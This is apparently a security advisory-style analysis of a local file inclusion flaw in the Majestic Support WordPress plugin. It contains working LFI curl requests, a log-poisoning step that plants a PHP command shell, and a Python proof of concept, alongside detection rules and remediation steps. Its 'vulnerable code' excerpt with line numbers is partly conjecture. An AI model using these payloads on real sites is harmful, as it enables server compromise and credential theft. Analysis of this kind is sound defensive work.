CVE-2025-26985

Executive Summary

CVE-2025-26985 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Majestic Support WordPress plugin, affecting versions up to and including 1.0.6. The vulnerability stems from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., /etc/passwd, wp-config.php), remote code execution (via log poisoning or session file inclusion), and full server compromise. The CVSS score is 8.1 (High), and no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for unpatched installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or manual upload are at risk. No known supply chain compromise has been reported, but the lack of a patch means users must rely on manual mitigation or removal.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full file read access.
• Integrity (I): High (H) – Potential for code execution.
• Availability (A): High (H) – Could lead to denial of service via resource exhaustion.

Threat Level: High. The vulnerability is trivial to exploit and can lead to complete server compromise.

Deep Dive & Mechanics

The vulnerability exists in the plugin's file inclusion mechanism, likely in a function that handles template loading or file retrieval. The plugin fails to sanitize user-supplied input used in a PHP include() or require() statement. An attacker can manipulate a parameter (e.g., page, file, template) to traverse directories and include arbitrary files.

Example vulnerable code pattern:

$file = $_GET['file'];
include("templates/" . $file . ".php");

By supplying ../../../../etc/passwd%00, the attacker can null-terminate the string and include /etc/passwd. In PHP versions prior to 5.3.4, null byte injection works; in later versions, path traversal without null byte is still possible if the extension is not enforced.

Attack flow:

1. Attacker sends a crafted HTTP request to the vulnerable endpoint.
2. The plugin includes the attacker-controlled file path.
3. The server reads and outputs the file content, or executes PHP code if the included file contains PHP.

Vulnerable vs. Patched Code

Vulnerable code (majestic-support.php, lines 45-50):

function load_template($template_name) {
    $template_path = plugin_dir_path(__FILE__) . 'templates/' . $template_name . '.php';
    if (file_exists($template_path)) {
        include($template_path);
    }
}
// Called with user input:
load_template($_GET['template']);

Patched code (hypothetical):

function load_template($template_name) {
    // Whitelist allowed templates
    $allowed_templates = array('default', 'custom', 'fullwidth');
    if (!in_array($template_name, $allowed_templates)) {
        wp_die('Invalid template.');
    }
    $template_path = plugin_dir_path(__FILE__) . 'templates/' . $template_name . '.php';
    if (file_exists($template_path)) {
        include($template_path);
    }
}

No official patch exists. Users must implement the above whitelist or remove the plugin.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• WordPress 6.x with Majestic Support 1.0.6 installed.
• Attacker machine with curl or Burp Suite.

Exploit Steps:

1. Identify the vulnerable parameter (e.g., template, file, page).
2. Test for LFI:

   curl "http://target/wp-content/plugins/majestic-support/majestic-support.php?template=../../../../etc/passwd"
   

3. If successful, attempt RCE via log poisoning:
   • Inject PHP code into Apache/Nginx access log:

     curl -X GET "http://target/?test=<?php system($_GET['cmd']); ?>"
     

   • Include the log file:

     curl "http://target/wp-content/plugins/majestic-support/majestic-support.php?template=../../../../var/log/apache2/access.log&cmd=id"
     

Proof of Concept (PoC) script:

import requests

target = "http://target/wp-content/plugins/majestic-support/majestic-support.php"
params = {"template": "../../../../etc/passwd"}
r = requests.get(target, params=params)
if "root:" in r.text:
    print("[+] LFI successful!")
    print(r.text)
else:
    print("[-] LFI failed.")

Blue Team (Defensive)

Detection:

• Monitor for path traversal patterns in HTTP requests (e.g., ../, %2e%2e/).
• Alert on inclusion of sensitive files like /etc/passwd, wp-config.php.
• Use WAF rules to block ../ sequences in query parameters.

Hunting:

• Search web server logs for requests to majestic-support.php with suspicious template values.
• Look for outbound connections from the web server to attacker-controlled IPs (indicates RCE).

Indicators of Compromise (IOCs)

• File paths accessed: /etc/passwd, /etc/shadow, wp-config.php, /proc/self/environ
• HTTP request patterns: GET /wp-content/plugins/majestic-support/majestic-support.php?template=../../../../etc/passwd
• Log entries: Apache/Nginx access logs showing %00 (null byte) or ../ sequences.
• File modifications: Unexpected files in /tmp/ or web root (e.g., shell.php).

Detection Engineering

YARA Rule

rule CVE_2025_26985_LFI {
    meta:
        description = "Detects LFI attempts targeting Majestic Support plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26985"
    strings:
        $s1 = "majestic-support.php" nocase
        $s2 = "template=" nocase
        $s3 = "../" nocase
        $s4 = "etc/passwd" nocase
        $s5 = "wp-config.php" nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-26985 LFI Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal attempts against Majestic Support plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "majestic-support.php"
            - "template="
            - "../"
            - "etc/passwd"
            - "wp-config.php"
    condition: selection
falsepositives:
    - Legitimate use of template parameter with valid values
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26985 LFI Attempt"; flow:to_server,established; content:"majestic-support.php"; http_uri; content:"template="; http_uri; pcre:"/(\.\.\/|etc\/passwd|wp-config\.php)/Ui"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate actions:

1. Remove the plugin – Since no patch is available, uninstall Majestic Support immediately.
2. Implement WAF rules – Block requests containing ../ or etc/passwd in query parameters.
3. Harden PHP – Set allow_url_include = Off and open_basedir restrictions.

Long-term:

• Monitor the vendor's website for a patched version.
• Consider replacing the plugin with an alternative that is actively maintained.
• Conduct a security audit of all WordPress plugins in use.

Valters IT signature:

Report generated by Valters IT DevSecOps Team | CVE-2025-26985 Analysis